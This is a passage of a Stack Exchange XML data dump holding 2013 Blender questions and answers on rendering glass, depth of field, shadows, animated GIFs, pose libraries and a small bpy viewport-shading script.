LastActivityDate="2013-07-20T22:34:38.327" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1915" PostTypeId="1" AcceptedAnswerId="2028" CreationDate="2013-07-20T21:37:01.357" Score="2" ViewCount="1143" Body="&lt;p&gt;In Blender Internal, to simulate glass properly, you have to enable Glossy, (&lt;em&gt;Mirror&lt;/em&gt;) and Refraction. (Raytraced &lt;em&gt;Transparency&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, rather than taking &lt;code&gt;length of reflection only render&lt;/code&gt; + &lt;code&gt;length of refraction only render&lt;/code&gt; (In this low resolution case, 00:03.33)&lt;br&gt;&#xA;it takes much longer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PKP2L.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uP26I.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0Gbxl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Material settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7kRHC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the technical reason for this? How might I render reflection + refraction faster? (maybe some technique of rendering separately and recombining?)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-27T21:41:44.427" LastActivityDate="2013-07-29T03:08:16.027" Title="Why does Rendering Reflection + Refraction take much longer than Rendering them Separately?" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1916" PostTypeId="1" AcceptedAnswerId="1917" CreationDate="2013-07-20T22:45:53.720" Score="5" ViewCount="94" Body="&lt;p&gt;I found &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Edges#Delete_Edge_Loop&quot; rel=&quot;nofollow noreferrer&quot;&gt;this misleading entry&lt;/a&gt; in the latest Manual (2.68):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OY0j0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The '7' should be '11', but as there is no way to enter a key twice, it should be &lt;kbd&gt;G&lt;/kbd&gt;.&lt;br&gt;&#xA;The 'Edges' should be 'Delete' as there is no option to &lt;em&gt;Delete Edge loop&lt;/em&gt; in &lt;em&gt;Mesh &gt; Edges&lt;/em&gt;, and the &lt;em&gt;Erase menu&lt;/em&gt; is really called the &lt;em&gt;Delete Menu&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so I set about trying to find a way to have it corrected.&lt;br&gt;&#xA;I worked my way through the 'maze' in blender.org only to find dead ends and outdated information! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the right direction?.&lt;/p&gt;&#xA;" OwnerUserId="470" LastEditorUserId="2217" LastEditDate="2014-10-02T23:56:46.697" LastActivityDate="2014-10-02T23:56:46.697" Title="A question about Manual errors" Tags="&lt;documentation&gt;" AnswerCount="1" CommentCount="4" CommunityOwnedDate="2013-07-22T19:59:17.340" ContentLicense="CC BY-SA 3.0" />
  <row Id="1917" PostTypeId="2" ParentId="1916" CreationDate="2013-07-20T23:26:25.383" Score="5" Body="&lt;h1&gt;Editing the Wiki&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You will have to create an account by clicking &lt;em&gt;Log in / create account&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DvOvU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2HGeW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have done so and logged in (click &lt;em&gt;Log in&lt;/em&gt;), &lt;img src=&quot;https://i.stack.imgur.com/Q3gRE.png&quot; alt=&quot;enter image description here&quot;&gt; there will be an &lt;em&gt;edit&lt;/em&gt; button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Cx3G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that you won't be able to edit anything until you &lt;a href=&quot;http://wiki.blender.org/index.php/User:Terrywallwork/Verification/Message&quot; rel=&quot;nofollow noreferrer&quot;&gt;verify that you exist&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and one should read the usual &lt;a href=&quot;http://wiki.blender.org/index.php/Meta:Guides/Writer_Guide#Official_Manual_Review_Workflow&quot; rel=&quot;nofollow noreferrer&quot;&gt;writing guides&lt;/a&gt; and such..&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-22T19:38:08.727" LastActivityDate="2013-07-22T19:38:08.727" CommentCount="9" CommunityOwnedDate="2013-07-22T19:59:17.340" ContentLicense="CC BY-SA 3.0" />
  <row Id="1918" PostTypeId="1" AcceptedAnswerId="1925" CreationDate="2013-07-20T23:33:35.583" Score="4" ViewCount="1458" Body="&lt;p&gt;One of the new features in 2.68 is the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/nodes/types/converter/wavelength.html#wavelength-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Wavelength node&lt;/em&gt;&lt;/a&gt;,&lt;br&gt;&#xA;but I have yet to think of a good way to put this to use.. (though dispersion and diffraction immediately spring to mind)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some good use cases of this node? (And how is it different from a &lt;em&gt;Color Ramp node&lt;/em&gt;?)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2018-08-03T15:05:17.527" LastActivityDate="2018-08-03T15:05:17.527" Title="What kind of uses could the Wavelength node be used for?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1919" PostTypeId="2" ParentId="1913" CreationDate="2013-07-20T23:50:34.847" Score="2" Body="&lt;h1&gt;Switch shading mode while navigating the 3D View&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class VIEW3D_OT_View_box_orbit(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Switch shading mode while navigating the 3D View&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.navigate_shade_switch&quot;&#xA;    bl_label = &quot;Navigating Toggled Shading&quot;&#xA;&#xA;    nav_mode = bpy.props.EnumProperty(name = &quot;Navigation&quot;, items=[&#xA;        (&quot;rotate&quot;, &quot;Rotate&quot;, &quot;Rotate the view&quot;),&#xA;        (&quot;move&quot;, &quot;Move&quot;, &quot;Move the view&quot;),&#xA;        (&quot;zoom&quot;, &quot;Zoom&quot;, &quot;Zoom in/out in the view&quot;),&#xA;        (&quot;dolly&quot;, &quot;Dolly&quot;, &quot;Dolly in/out in the view&quot;),&#xA;        (&quot;fly&quot;, &quot;Fly&quot;, &quot;Interactively fly around the scene&quot;),&#xA;    ])&#xA;    shade_mode = bpy.props.EnumProperty(name = &quot;Shading&quot;, items=[&#xA;        (&quot;BOUNDBOX&quot;, &quot;Bounding Box&quot;, &quot;Display the object's local bounding boxes only&quot;, &quot;BBOX&quot;, 1),&#xA;        (&quot;WIREFRAME&quot;, &quot;Wireframe&quot;, &quot;Display the object as wire edges&quot;, &quot;WIRE&quot;, 2),&#xA;        (&quot;SOLID&quot;, &quot;Solid&quot;, &quot;Display the object solid, lit with default OpenGL lights&quot;, &quot;SOLID&quot;, 3),&#xA;        (&quot;TEXTURED&quot;, &quot;Textured&quot;, &quot;Display the object solid, with a texture&quot;, &quot;POTATO&quot;, 4),&#xA;        (&quot;MATERIAL&quot;, &quot;Material&quot;, &quot;Display objects solid, with GLSL material&quot;, &quot;MATERIAL&quot;, 5),&#xA;        (&quot;RENDERED&quot;, &quot;Rendered&quot;, &quot;Display render preview&quot;, &quot;SMOOTH&quot;, 6),&#xA;    ])&#xA;&#xA;    def modal(self, context, event):&#xA;        if not hasattr(self, &quot;navigating&quot;):&#xA;            self.navigating = True&#xA;            getattr(bpy.ops.view3d, self.nav_mode)(&quot;INVOKE_DEFAULT&quot;)&#xA;            return {&quot;RUNNING_MODAL&quot;}&#xA;        elif event.type == &quot;TIMER&quot;:&#xA;            return {&quot;RUNNING_MODAL&quot;}&#xA;        context.space_data.viewport_shade = self.shading&#xA;        return {&quot;FINISHED&quot;}&#xA;&#xA;    def invoke(self, context, event):&#xA;        v3d = context.space_data&#xA;        if v3d.type == &quot;VIEW_3D&quot;:&#xA;            self.shading = v3d.viewport_shade&#xA;            try:&#xA;                v3d.viewport_shade = self.shade_mode&#xA;            except TypeError:&#xA;                pass # Shading mode not supported.&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {&quot;RUNNING_MODAL&quot;}&#xA;        return {&quot;CANCELLED&quot;}&#xA;&#xA;bpy.utils.register_class(VIEW3D_OT_View_box_orbit)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-07-21T12:48:28.547" LastActivityDate="2013-07-21T12:48:28.547" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1920" PostTypeId="2" ParentId="78" CreationDate="2013-07-21T00:52:58.073" Score="30" Body="&lt;p&gt;As mentioned by CharlesL, there is also a prompt when you start your new version of Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vHe2v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-07-21T00:52:58.073" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1921" PostTypeId="1" AcceptedAnswerId="1939" CreationDate="2013-07-21T01:06:51.830" Score="2" ViewCount="92" Body="&lt;p&gt;I would like to make &lt;em&gt;Smoke Adaptive Domain&lt;/em&gt; enabled by default whenever I create a &lt;em&gt;Smoke Domain&lt;/em&gt;.&lt;br&gt;&#xA;However, when I tried creating a smoke domain, enabling &lt;em&gt;Adaptive&lt;/em&gt; (and setting the &lt;em&gt;Margin&lt;/em&gt; to 2) deleting the domain, and saving the startup.blend,  it only remembered that the &lt;em&gt;Smoke Adaptive Domain&lt;/em&gt; settings were expanded, rather than hidden as they are by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? (it seems that it should be, as I was able to make both the &lt;em&gt;Border&lt;/em&gt; setting enabled and make the preview samples value 0 by default.)&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-07-22T22:54:59.657" Title="is it possible to make a setting enabled by default?" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1922" PostTypeId="1" CreationDate="2013-07-21T02:49:32.320" Score="6" ViewCount="3792" Body="&lt;p&gt;I understand that running blender without a GUI does not provide &lt;code&gt;bpy.context&lt;/code&gt; for the 3d View. Can anyone help me with a work around. This results in a 'Context' object has no attribute 'object' error.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for scene in bpy.data.scenes:&#xA;    for object in scene.objects:&#xA;        if bpy.context.mode == 'OBJECT':&#xA;            if object.name != 'Lamp':&#xA;                if object.name != 'Camera':&#xA;                    print(&quot;deleting &quot; + object.name)&#xA;                    bpy.ops.object.delete(use_global=False)&#xA;                    bpy.ops.mesh.primitive_cone_add({'scene': scene, 'active_object': object})&#xA;                    print(bpy.context.object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="986" LastEditorUserId="12" LastEditDate="2013-07-22T13:22:39.660" LastActivityDate="2013-07-23T05:55:36.530" Title="Blender as python module, 'Context' object has no attribute 'object'" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1923" PostTypeId="1" AcceptedAnswerId="1924" CreationDate="2013-07-21T10:22:21.433" Score="1" ViewCount="1057" Body="&lt;p&gt;When trying to export a mesh from Blender to Ogre using the &lt;a href=&quot;https://code.google.com/p/blender2ogre/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender2ogre exporter&lt;/a&gt; I'm getting an error I have never encountered before :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ReferenceError: StructRNA of type Mesh has been removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;location: :-1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Fiht.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eAP04.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Through the process of elimination I've figured out the error only occurs when I export with modifiers on my mesh, in my case the edge split and armature modifiers. Has anyone experienced this error before and what steps can be taken to remedy it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had a search around on google where some people have suggested it is to do with unparented bones, however when I deleted my armature and tried to export I had the same issue. If I delete the APC mesh and replace it with a simple square then export I have no issues. The error seems to be tied to the specific mesh.&lt;/p&gt;&#xA;" OwnerUserId="719" LastEditorUserId="12" LastEditDate="2014-02-22T14:52:00.943" LastActivityDate="2014-02-22T14:52:00.943" Title="blender2ogre 0.5.8 export error - ReferenceError: StructRNA of type Mesh has been removed" Tags="&lt;export&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ClosedDate="2013-07-22T15:17:22.600" ContentLicense="CC BY-SA 3.0" />
  <row Id="1924" PostTypeId="2" ParentId="1923" CreationDate="2013-07-21T11:46:26.550" Score="3" Body="&lt;p&gt;It could perhaps help to update your version of the Orge3D exporter from 0.58 to 0.60 from  the &lt;a href=&quot;https://bitbucket.org/MindCalamity/blender2ogre&quot; rel=&quot;nofollow&quot;&gt;bitbucket page&lt;/a&gt;. It seems the version you use (0.5.8) is written for blender 2.65 and the latest 0.6.0 version supports blender 2.66. Failing that I suggest taking steps to contact the guy who currently maintains the addon for advice.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="599" LastEditDate="2013-07-21T19:34:48.410" LastActivityDate="2013-07-21T19:34:48.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1925" PostTypeId="2" ParentId="1918" CreationDate="2013-07-21T13:51:44.127" Score="3" Body="&lt;p&gt;One might use it to get some form of &lt;a href=&quot;http://en.wikipedia.org/wiki/Iridescence&quot; rel=&quot;nofollow noreferrer&quot;&gt;iridescent effect&lt;/a&gt; (Wikipedia article). Elaborating on the idea that the perceived colour of parts of objects depends on the direction of the surface normal of each point on a surface with respect to our eyes. Compressing and rarefying a ribbed pattern around the scale of visible light wavelengths can change the colour we see as a result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QhFN2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2013-07-21T13:51:44.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1927" PostTypeId="1" CreationDate="2013-07-21T19:36:30.950" Score="3" ViewCount="2857" Body="&lt;p&gt;I can't get &quot;depth of field&quot; to work as expected in version 2.68. Here are the steps I'm taking (from a brand new file):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I clone the default cube a few times, and place all the cubes in a row.&lt;/li&gt;&#xA;&lt;li&gt;I go to the camera's settings, and select a cube on which to focus in the &quot;Depth of Field&quot; section.&lt;/li&gt;&#xA;&lt;li&gt;I switch to compositing mode and check the &quot;use nodes&quot; box.&lt;/li&gt;&#xA;&lt;li&gt;I add a &quot;Defocus&quot; node in between the &quot;Render Layers&quot; node and the &quot;Composite&quot; node.&lt;/li&gt;&#xA;&lt;li&gt;I also connect the &quot;Z&quot; output from the &quot;Render Layers&quot; node to the &quot;Z&quot; input of the &quot;Defocus&quot; node.&lt;/li&gt;&#xA;&lt;li&gt;I render. When the image finally goes through the compositing process, I can see the cubes, and blurring occurs, but the camera is NOT focused on the cube I selected in the camera settings.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've tried this both in the Blender internal renderer and in Cycles. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="988" LastEditorUserId="2217" LastEditDate="2014-08-05T22:54:08.807" LastActivityDate="2014-08-05T22:54:08.807" Title="Depth of Field in 2.68?" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;depth-of-field&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ClosedDate="2013-07-22T12:59:02.207" ContentLicense="CC BY-SA 3.0" />
  <row Id="1928" PostTypeId="1" AcceptedAnswerId="1931" CreationDate="2013-07-21T19:39:42.950" Score="1" ViewCount="902" Body="&lt;p&gt;In the game engine, how do you lock an object's translation while letting it freely rotate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a record with grooves, with random noise added to all vertices in the z direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wjhrS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The needle/arm should drop into a groove on the record, and be free to rotate about the end of the arm as the grove moves up and down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I lock the x/y/z translations of the arm, it doesn't move at all. I don't understand why this doesn't simply lock the pivot point, and give me the desired affect.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-07-22T20:42:53.700" Title="Locking an object's pivot point in game engine" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1929" PostTypeId="2" ParentId="1927" CreationDate="2013-07-21T20:13:57.323" Score="2" Body="&lt;p&gt;I do not know why, but it seems that using an object as a focal point only works when using an &lt;em&gt;Empty&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KMCt0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Cycles:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;(Note that cycles will render with DoF without the need for composite nodes.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DPuGK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting &lt;em&gt;Blades&lt;/em&gt; to 3 or more makes it possible to render with a non-circular aperture (this setting refers to the number of &quot;blades&quot; in the camera's &lt;a href=&quot;http://en.wikipedia.org/wiki/Aperture&quot; rel=&quot;nofollow noreferrer&quot;&gt;aperture&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GkEmN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Blender Internal:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WIqxX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="242" LastEditDate="2013-07-29T03:23:38.253" LastActivityDate="2013-07-29T03:23:38.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1930" PostTypeId="2" ParentId="1927" CreationDate="2013-07-21T20:21:26.313" Score="1" Body="&lt;p&gt;&lt;em&gt;Note this answer is specifically relating to Blender Internal. However, the main concepts can be used in Cycles as well&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting up the defocus node can take a little bit of practice (and trial and error), but the main issue is the distance. I personally would recommend using fStop settings, because I think fStop makes more sense (you can use fStop if you check &lt;em&gt;Use Z-Buffer&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the same setup as you mentioned in your question, change the fStop distance until it looks good (probably around 6).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;fStop at 0.0:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AyqgS.png&quot; alt=&quot;fstop 0&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;fStop at 4.0:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lLFZt.png&quot; alt=&quot;fstop 4&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;fStop at 10.0:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sglfo.png&quot; alt=&quot;fstop at 10&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also tweak the threshold of the blur and the maximum amount of blur allowed.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-07-21T20:28:28.120" LastActivityDate="2013-07-21T20:28:28.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1931" PostTypeId="2" ParentId="1928" CreationDate="2013-07-21T20:22:23.110" Score="1" Body="&lt;p&gt;If I understand the question correctly, the needle is holding the arm up, as it cannot move, only rotate. (locking the translations does let it rotate, but it gets held whereever it starts.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9ChWk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is the case, then you need &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Relationship/Rigid_Body_Joint&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Rigid Body Joint&lt;/em&gt; constraints&lt;/a&gt;.&lt;br&gt;&#xA;Then the needle will be able to move, but only in relation to the arm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a quick setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QzDPq.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DwK2W.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-22T20:42:53.700" LastActivityDate="2013-07-22T20:42:53.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1932" PostTypeId="1" CreationDate="2013-07-22T06:24:16.050" Score="6" ViewCount="1267" Body="&lt;p&gt;In Blender Pose Library i want to rearrange poses. I would have created poses for lip synk say &quot;a&quot; &quot;e&quot; &quot;i&quot; etc. And later i have a new pose &quot;aaa&quot; a relative of &quot;a&quot; so would like to add it just after &quot;a&quot;. How to do that ?&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2018-10-18T13:40:44.620" Title="How to rearrange poses in Pose Libraries?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1933" PostTypeId="1" AcceptedAnswerId="1935" CreationDate="2013-07-22T10:30:38.310" Score="10" ViewCount="2555" Body="&lt;p&gt;I am looking to reduce the size of the shadow being cast on the mesh in the background..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oHU7M.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have only one light which is a sun lamp with ray shadow on, the mesh i have receive, receive transparent and cast buffer checked and no matter how near or far i put the light I cannot get the size of the shadow to change.  Can anybody help. cheers.&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="417" LastEditDate="2013-07-24T00:10:48.187" LastActivityDate="2018-08-19T08:35:10.343" Title="Reducing the size of shadows" Tags="&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1934" PostTypeId="1" AcceptedAnswerId="1936" CreationDate="2013-07-22T10:42:09.733" Score="48" ViewCount="68459" Body="&lt;p&gt;I need to save an animation as an animated GIF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done from Blender? cheers.&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="47" LastEditDate="2013-07-23T22:01:00.053" LastActivityDate="2020-08-21T15:42:04.253" Title="Can Blender render animated gifs?" Tags="&lt;rendering&gt;&lt;file-format&gt;" AnswerCount="5" CommentCount="7" FavoriteCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="1935" PostTypeId="2" ParentId="1933" CreationDate="2013-07-22T10:51:29.123" Score="7" Body="&lt;p&gt;You have something like this (Blender Internal)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/f4CCx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sunlight lamp only lets you change the angle of the light-source and not the distance of the light to the scene objects. Test this by moving the sunlight closer or further away from the objects, compared to rotating the sunlight. If you want smaller shadows, don't use a sun lamp on its own. When you only have one light-source like a sunlight on default settings, you will get sharp shadows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can fake ambient light by adding Ambient Occlusion or Environmental Lighting, or add a few weak lights to give you more control. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;adding Ambient Occlusion would give you this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jxNg6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or adding Environmental Lighting for this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pQdSZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also mess with the shadow settings of the sunlight lamp: (softsize &amp;amp; samples &amp;amp; shadow colour). But on its own that still doesn't produce a nicely illuminated image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lpT9u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick really is to add more lights, but make them weak so as not to saturate the scene. If you are serious about lighting I recommend you read this &lt;a href=&quot;http://bensimonds.com/2010/06/03/lighting-tips-from-the-masters/&quot; rel=&quot;noreferrer&quot;&gt;classic post by Ben Simonds about lighting techniques&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-07-22T12:25:51.753" LastActivityDate="2013-07-22T12:25:51.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1936" PostTypeId="2" ParentId="1934" CreationDate="2013-07-22T12:15:32.960" Score="37" Body="&lt;p&gt;No, GIF isn't supported. While the encoding library (&lt;a href=&quot;http://www.ffmpeg.org/&quot;&gt;FFmpeg&lt;/a&gt;) used by Blender supports GIF encoding, it's unlikely support for this format will ever be added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best option is to render an image sequence and assemble them in another external application. This is really trivial to do however and you can find some good programs or &lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D%3a_Noob_to_Pro/Creating_animated_GIFs_using_Blender_and_Gimp&quot;&gt;methods&lt;/a&gt; around the internet by doing a simple &lt;a href=&quot;https://www.google.com/search?client=opera&amp;amp;q=online%20gif%20maker&amp;amp;sourceid=opera&amp;amp;ie=UTF-8&amp;amp;oe=UTF-8&quot;&gt;search&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-07-23T23:27:03.227" LastActivityDate="2013-07-23T23:27:03.227" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="1938" PostTypeId="2" ParentId="1932" CreationDate="2013-07-22T15:14:07.360" Score="2" Body="&lt;p&gt;Technically you can but I will say it's not worth the effort (at least with the current version). This could be an idea for a feature request or a possible addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To briefly cover the details for the adventurous, a pose library is nothing more than an action saved for the armature. The pose library name is the action name. The first pose is saved at frame one, the second at frame two and so on. By going to the action editor (dopesheet - action editor context) you can re-arrange the order of the saved poses. This means that the pose names will no-longer match up but you could then rename them to match. Once you start you need to keep track of what frame is for what pose name. If you have 5 poses to re-arrange it's not too hard otherwise it's easier to leave it for now.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-07-22T15:14:07.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
